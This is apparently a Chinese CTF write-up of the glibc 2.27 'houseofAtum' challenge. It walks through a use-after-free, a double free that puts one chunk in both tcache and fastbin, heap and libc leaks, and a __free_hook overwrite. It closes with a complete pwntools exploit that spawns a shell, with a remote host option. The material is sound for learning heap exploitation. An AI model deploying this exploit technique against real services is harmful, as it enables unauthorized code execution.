0%

House Of Atum-2.27-64

houseofAtum

1
GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1) stable release version 2.27.
1
2
3
4
5
6
7
8
houseofAtum: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=ac40687beee1b00aa55c6dc25d383a41fbfdb0e2, not stripped      
[!] Could not populate PLT: invalid syntax (unicorn.py, line 110)
[*] '/home/yhellow/\xe6\xa1\x8c\xe9\x9d\xa2/atum/houseofAtum'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,全开

漏洞分析

1
2
3
4
5
6
7
8
9
if ( index <= 1 && notes[index] )
{
free((void *)notes[index]);
printf("Clear?(y/n):");
readn(key, 2LL);
if ( key[0] == 'y' )
notes[index] = 0LL;
puts("Done!");
}
  • UAF

入侵思路

libc-2.27 没有 key 值限制,可以随便 Double free

将同一个 chunk 释放两次就可以使其 chunk->FD 指向它自己,于是可以轻松泄露出 heap_base

1
2
3
4
5
6
7
8
9
10
11
12
13
add("a"*0x10)
add("b"*0x10)

for i in range(5):
dele(1,'n')

show(1)

p.recvuntil('Content:')
leak_addr = u64(p.recv(6).ljust(8,'\x00'))
heap_base = leak_addr - 0x2b0
success("leak_addr >> "+hex(leak_addr))
success("heap_base >> "+hex(heap_base))

使用 House Of Atum 连续释放同一个 chunk 8 次可以将其放入 fastbin

1
2
3
4
5
6
7
8
pwndbg> bins
tcachebins
0x50 [ 7]: 0x55e3e486d260 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x55e3e486d250 ◂— 0x0
  • 可以发现这个 chunk 同时存在于 tcache 和 fastbin 中
  • 申请掉 tcache 中的 chunk,并向其中写入 fake chunk addr,实现堆覆盖
1
2
3
4
5
6
7
8
pwndbg> bins
tcachebins
0x50 [ 6]: 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x55bdfed93250 —▸ 0x55bdfed93240 ◂— 0x0

然后搭一搭堆风水,修改 chunk->size 使其进入 unsortedbin,泄露 libc_base

最后劫持一下 free_hook 就可以了

完整 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './houseofAtum'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc.so.6')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

local = 1
if local:
p = process(challenge)
else:
p = remote('119.13.105.35','10111')

def debug():
gdb.attach(p)
#gdb.attach(p,"b *$rebase(0x269F)\n")
#pause()

def cmd(op):
p.sendlineafter("Your choice:",str(op))

def add(data):
cmd(1)
p.sendafter("Input the content:",data)

def edit(index,data):
cmd(2)
p.sendlineafter("Input the idx:",str(index))
p.sendafter("Input the content:",data)

def dele(index,key):
cmd(3)
p.sendlineafter("Input the idx:",str(index))
p.sendlineafter("Clear?(y/n):",key)

def show(index):
cmd(4)
p.sendlineafter("Input the idx:",str(index))

#debug()
add("a"*0x10)
payload = "b"*0x38+p64(0x11)
add(payload)

for i in range(5):
dele(1,'n')

show(1)

p.recvuntil('Content:')
leak_addr = u64(p.recv(6).ljust(8,'\x00'))
heap_base = leak_addr - 0x2b0
success("leak_addr >> "+hex(leak_addr))
success("heap_base >> "+hex(heap_base))

dele(1,'y')
dele(0,'n')
dele(0,'y')

payload = p64(heap_base+0x250-0x10)
add(payload)
add("c"*0x10)

dele(1,'y')
add(p64(0)+p64(0x91))

for i in range(7):
dele(0,'n')

dele(0,'y')
edit(1,"1"*0x10)
show(1)

p.recvuntil('Content:')
p.recv(0x10)
leak_addr = u64(p.recv(6).ljust(8,'\x00'))
libc_base = leak_addr - 0x3ebca0
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

malloc_hook = libc_base + libc.sym["__malloc_hook"]
free_hook = libc_base + libc.sym["__free_hook"]
system_libc = libc_base + libc.sym["system"]
success("malloc_hook >> "+hex(malloc_hook))
success("free_hook >> "+hex(free_hook))

edit(1,p64(0)+p64(0x51)+p64(free_hook-0x20))
payload = p64(free_hook-0x10)
add(payload)
dele(0,'y')
payload = '/bin/sh\x00'*2+p64(system_libc)
add(payload)

p.sendlineafter('choice:','3')
p.sendlineafter('idx:','0')

p.interactive()